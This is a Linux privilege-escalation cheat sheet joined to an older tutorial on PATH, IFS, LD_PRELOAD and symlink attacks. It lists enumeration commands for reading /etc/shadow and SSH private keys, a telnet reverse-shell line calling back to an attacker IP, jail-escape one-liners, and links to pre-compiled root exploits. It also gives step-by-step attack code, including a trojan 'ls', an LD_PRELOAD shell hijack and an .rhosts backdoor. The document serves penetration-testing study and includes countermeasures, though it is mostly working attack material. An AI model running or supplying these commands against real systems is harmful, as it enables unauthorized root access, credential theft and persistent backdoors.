namishelex01/Linux Abuse - I

## Linux Abuse - I
Enumeration is the key.
(Linux) privilege escalation is all about:
Collect - Enumeration, more enumeration and some more enumeration.
Process - Sort through data, analyse and prioritisation.
Search - Know what to search for and where to find the exploit code.
Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".
Try - Get ready for (lots of) trial and error.

 Operating System
What's the distribution type? What version?
cat /etc/issue
cat /etc/*-release
   cat /etc/lsb-release
   cat /etc/redhat-release


What's the Kernel version? Is it 64-bit?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-


What can be learnt from the environmental variables?
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set


Is there a printer?
lpstat -a


Applications & Services
What services are running? Which service has which user privilege?
ps aux
ps -ef
top
cat /etc/service


Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
ps aux | grep root
ps -ef | grep root


What applications are installed? What version are they? Are they currently running?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/


Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/


What jobs are scheduled?
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

 Any plain text usernames and/or passwords?
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla


Communications & Networking
What NIC(s) does the system have? Is it connected to another network?
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network


What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname


What other users & hosts are communicating with the system?
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w


Whats cached? IP and/or MAC addresses
arp -e
route
/sbin/route -nee


Is packet sniffing possible? What can be seen? Listen to live traffic
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21


Have you got a shell? Can you interact with the system?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. Input (Commands)
nc -lvp 4445    # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!


Is port forwarding possible? Redirect and interact with traffic from another view
# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

 # fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

 # ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

 # mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)


Is tunnelling possible? Send commands locally, remotely
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig


Confidential Information & Users
Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
id
who
w
last
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l


What sensitive files can be found?
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/


Anything "interesting" in the home directorie(s)? If it's possible to access
ls -ahlR /root/
ls -ahlR /home/


Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg


What has the user being doing? Is there any password in plain text? What have they been edting?
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history


What user information can be found?
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root


Can private-key information be found?
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key


File Systems
Which configuration files can be written in /etc/? Able to reconfigure a service?
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null  # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other

 find /etc/ -readable -type f 2>/dev/null                      # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone


What can be found in /var/ ?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases


Any settings/files (hidden) on website? Any settings file with database information?
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/


Is there anything in the log file(s) (Could help with "Local File Includes"!)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp


If commands are limited, you break out of the "jail" shell?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i


How are file-systems mounted?
mount
df -h


Are there any unmounted file-systems?
cat /etc/fstab


What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.

 find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

 #find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null


Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
find / -writable -type d 2>/dev/null     # world-writeable folders
find / -perm -222 -type d 2>/dev/null   # world-writeable folders
find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

 find / -perm -o+x -type d 2>/dev/null    # world-executable folders

 find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders


Any "problem" files? Word-writeable, "nobody" files
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files


Preparation & Finding Exploit Code
What development tools/languages are installed/supported?
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc


How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp


Finding exploit code
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com


Finding more information regarding the exploit
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]


(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/


Mitigations
Is any of the above information easy to find?
Try doing it!
Setup a cron job which automates script(s) and/or 3rd party products


Is the system fully patched? Kernel, operating system, all applications, their  plugins and web services
apt-get update && apt-get upgrade
yum update


Are services running with the minimum level of privileges required?
For example, do you need to run MySQL as root?
Scripts Can any of this be automated?!
http://pentestmonkey.net/tools/unix-privesc-check/
http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net


Other (quick) guides & Links
Enumeration
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm

 Misc
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html
_______________________________________________________________________
_______________________________________________________________________
_______________________________________________________________________
_______________________________________________________________________
_______________________________________________________________________
_______________________________________________________________________
_______________________________________________________________________

Hacking Linux Part I: Privilege Escalation By gimboyd nickdoidge@talktimeuk.com
_______________________________________________________________________
Abusing users with '.' in their PATH:

Unfortunately users and sometimes admins are lazy - its human nature to want to avoid taking unnecessary steps, in this case the user would rather type:

$ program
instead of
$ ./program

************
Newbie Note:
Having '.' in your PATH means that the user is able to execute binaries/ scripts from the current directory.
************

To avoid having to enter those two extra characters every time, the user adds '.' to their PATH. This can be an excellent method for an attacker to escalate his/ her privilege, for example:

Joe (the attacker) happens to know that that Suzy has sudo privileges to change users passwords - unfortunately for the admins she also has the power to change the root password. Now Suzy is a lazy girl and thus has '.' in her PATH. Joe places a program called 'ls' in a directory Suzy often visits. This 'ls' program contains code to modify root's password. Now when Suzy enters that directory and asks for a listing, because she has '.' in her path, the 'ls' that Joe placed in the directory is run, instead of /bin/ls. Now root's password has been changed, and Joe is able to logon as root.

Having '.' in your PATH can also help the attacker if exploiting programs that make system(), execvp(), or execlp() calls to programs, if they do not specify the full path to the program the attacker can place a program into a directory in the PATH, so that program is run instead - this works because programmers just expect that the program they mean to run will be in the PATH.

************
Newbie Note:
To add '.' to your path type this at the prompt PATH=.:${PATH} then to be able to use the '.' in your path enter export PATH.
************

************
Countermeasures:
1) Do not include '.' in your path!
2) Place the following at the end of your .bashrc or .profile - This will remove all occurrences of '.' in your PATH.
PATH=`echo $PATH | sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://'`
************


Shell Escape Sequences:

Many programs offer escape sequences to display a shell to the user, programs such as
- emacs - by entering alt+!
- vi - by entering :![commandname]
- man - by entering![command name] replacing [command name] with the program you wish to run.
- Old Linux games - that incorporate a TBIC (the boss is coming) feature to escape to a shell.
If you are able to use an escape sequence on a program that has suid bit set you will be given the privileges of the owner of the file. Escape sequences can help an attacker greatly, because they are so easy - although you will rarely find an escape sequence nowadays that will elevate your privilege to that of root. Try using different ctrl+[character] combinations to try and find escape sequences. For example - say that a text file had the suid bit set, and the user opened it up in vi, they could then enter :!/bin/bash, and they are given a suid root shell!

************
Countermeasures:
1) Remove any suid games, or files that could easily be exploitable by shell escape sequences. To find all suid files on your system use the following command:
find / -type f -perm -4000
************

IFS Exploit:

The IFS exploit is pretty straight forward, although to the beginner it may seem a tad confusing. The IFS (or Internal Field Separator) is used to separate words/ arguments etc. In the English language we use the ' ' (space) character to seperate arguments from their commands.

With an IFS set to ' ' (space) the command "ls -al" has the space between 'ls' and '-al' to separate the command to its argument.

With an IFS set to ';' (semicolon) the command "ls;-al" will have the same effect as "ls -al", because we have said we wish to use the ';' instead of the space. So it uses a ';' to separate the command from its argument.

A hacker can make practical use of the IFS to escalate his/ her privilege. For example: Lets say that at every logon a suid program (/usr/bin/date) executes /bin/date and displays the output on screen. An attacker can take advantage of this by doing the following (I will explain the workings of the privilege elevation after, I have numbered the lines to make the explanation easier) (the '$' is the symbol for a standard command prompt, and the '#' is symbol for the root command prompt).

1)	$ cat /home/nick/bin
2)	...#!/bin/bash
3)	.../bin/sh #this script will execute /bin/sh
4)	$ ls -al /usr/local/date
5)	---s--x--x 1 root root 21673 Mar 9 18:36 date
6)	$ PATH=/home/nick:${PATH}
7)	$ export PATH
8)	$ IFS=/
9)	$ export IFS
10)	$ /usr/local/date
11)	# whoami
12)	root
I will now explain the above in detail:
Lines 1, 2, 3: the attacker creates a simple bash script that runs /bin/sh when executed.
Lines 4 and 5: the attacker checks the permissions for the suid program that calls /bin/date.
Lines 6 and 7: adds '/home/nick' to his PATH (where the 'bin' program is he wrote earlier).
Lines 8 and 9: He sets the IFS to '/' this means that instead of using a space, the '/' will be used, this
means that the program instead of calling '/bin/date' will call 'bin date', because he has placed a
program called 'bin' in the home directory (which is now in the PATH) when /usr/local/date is executed
it will execute /home/nick/bin with the permissions of /usr/local/date - which means the
attacker will get a root shell!
Lines 11, 12: The attacker runs 'whoami' to verify that he is root, line 12 confirms this.

************
Countermeasures: An easy way of attempting to stop IFS exploits, is to not allow users to execute any type of executable or suid programs in places that the users can write to. Directories such as /home/[username] and /tmp allow the user write permissions, this means that they can create programs then run them from the location. If directories such as /home and /tmp are on their own partitions you can disallow users to run suid programs or any executables for that matter by adding the correct options to /etc/fstab. You can do this by replacing a line similar to this:

/dev/hda6 /tmp ext3 defaults 0 0
with this:
/dev/hda6 /tmp ext3 nosuid,noexec 0 0

This type of countermeasure is not only useful to stop IFS attacks - but pretty much all attacks concerned with privilege escalation discussed in this manual
************


LD_PRELOAD Exploit:

This attack involves .so files (part of the dynamic link library) being used by programs. The attacker can add a program pretending to be one of these libraries so that when a program is run it will execute the program pretending to be a library, this is useful if you are calling a program that has the suid bit set to root, this. So when the program is first run, it will attempt to load the library it requires (but it has been replaced with code the attacker wants executed) and thus runs the commands in the program placed by the attacker, with the permissions of the owner of the calling program. A full example of this is demonstrated below:

1)	$ cat me-root.c
2)
...#include <stdio.h>

3)
...#include <unistd.h>

4)
...main()

5)
...{

6)
......setuid(0);

7)
......setgid(0);

8)
......printf("Congratulations you are root!");

9)
...}

10)	$ gcc -o me-root me-root.c
11)	$ ls -l me-root.c
12)	---s--x--x 1 root root 4365 Mar 16 14:05 me-root.c
13)	$ cat me-root_so.c
14)
...void printf(char *str)

15)
...{

16)
......execl("/bin/sh","sh",0);

17)
...}

18)	$ gcc -shared -o me-root_so.so me-root_so.c
19)	& LD_PRELOAD=./me-root_so.so
20)	$ export LD_PRELOAD
21)	$ ./me-root
22)	# whoami
23)	root
I will explain the above attack in detail:
Lines 1 to 9: The attacker creates a simple C program that runs gives sets the userid and groupid to 0 (root).
Line 10: The attacker compiles the program created above and calls it me-root.
Lines 11 & 12: The attacker checks the file permissions on the me-root program.
Lines 13 to 17: The attacker creates the program that will pretend to be part of a library, it executes /bin/bash.
Line 18: The attacker compiles the pretend library program as a shared library and calls it me-root_so.so.
Lines 19 & 20: The attacker adds me-root_so.so, and exports LD_PRELOAD, so now when me-root is run it will execute the program
me-root_so.so (pretending to be a library) with the permissions of me-root (in this case the permissions of userid 0 - which is the root account!).
Line 21: The attacker runs the me-root program.
Lines 22 & 23: The attacker verifies who s/he is, line 23 confirms s/he is root.

Symlinks:

Symlinks or symbolic links are a very useful tool in Linux. They allow us to make a "shortcut" (in windows terms) to a file or folder. For example

ln -s /etc/passwd /tmp/passwd_file

This creates a link called /tmp/passwd_file to /etc/passwd, so now whenever /tmp/passwd_file is opened it will open /etc/passwd. Although symlinks can be infinately useful, they are quite easily exploitable. Lets say for example Joe attacker is feeling particularly sneaky, Joe knows root uses '.' in his path, and that all users can post technical problems to the admin into a directory /usr/problems/. The attack is below, and the full description will follow:

1)	$ ln -s /root/.rhosts /tmp/root-rhost
2)	$ stat /tmp/root-rhost
3)	...stat: cannot stat /tmp/root-rhost
4)	$ cat /usr/problems/ls
5)	...#!/bin/bash
6)	...if [ ! -e /tmp/root-rhost ] ; then
7)	......echo "+ +" >>/tmp/root-rhost
8)	...fi
I will explain the above attack in detail:
Lines 1, 2 & 3: The attacker creates symbolic link from /tmp/root-rhost to /root/.rhosts, and uses stat to see if the file existed, the output on line three indicates that /root/.rhosts does not exist (the admin removed /root/.rhosts because he saw this file as a security threat - this is what Joe wants)
Line 4 to 8: He then creates a bash script called ls (which will be run instead of /bin/ls, because '.' is in his path first, when he wants to list the contents of /usr/problems/). This program tests if /tmp/root-rhost exists, because it is a symbolic link pointing to /root/.rhosts (which does not exist) it will return that /root/.rhosts does not exist, so it will then echo "+ +" into /tmp/root-rhost, which will be forwarded into the file /root/.rhosts! This will mean that root will have a passwordless login over any login that supports and allows rhosts authentication (e.g. rlogin and ssh). The trap is now set, he just has to wait!

Cron jobs with symlinks can also be used to an attackers advantage, for example:

The 'sales' group in businesscorp.com have a folder to post their documents for the whole group to read and write to, unfortunately the users keep forgetting to add group write permissions to their documents, so the admin developed a script that will change the files in the sales folder to the group sales, and set group writeable permissions, this script is run periodically through a cron job, the script looks like the below.

1)	#!/bin/bash
2)	chgrp -R sales /usr/export/sales
3)	chmod -R g+w /usr/export/sales
If someone sneaky in sales decided to make two symlinks to /etc/passwd and /etc/shadow, the cron job would follow the symlinks and set write permissions for the group sales on /etc/passwd and /etc/shadow. From here the attacker can change any password s/he wants.

================================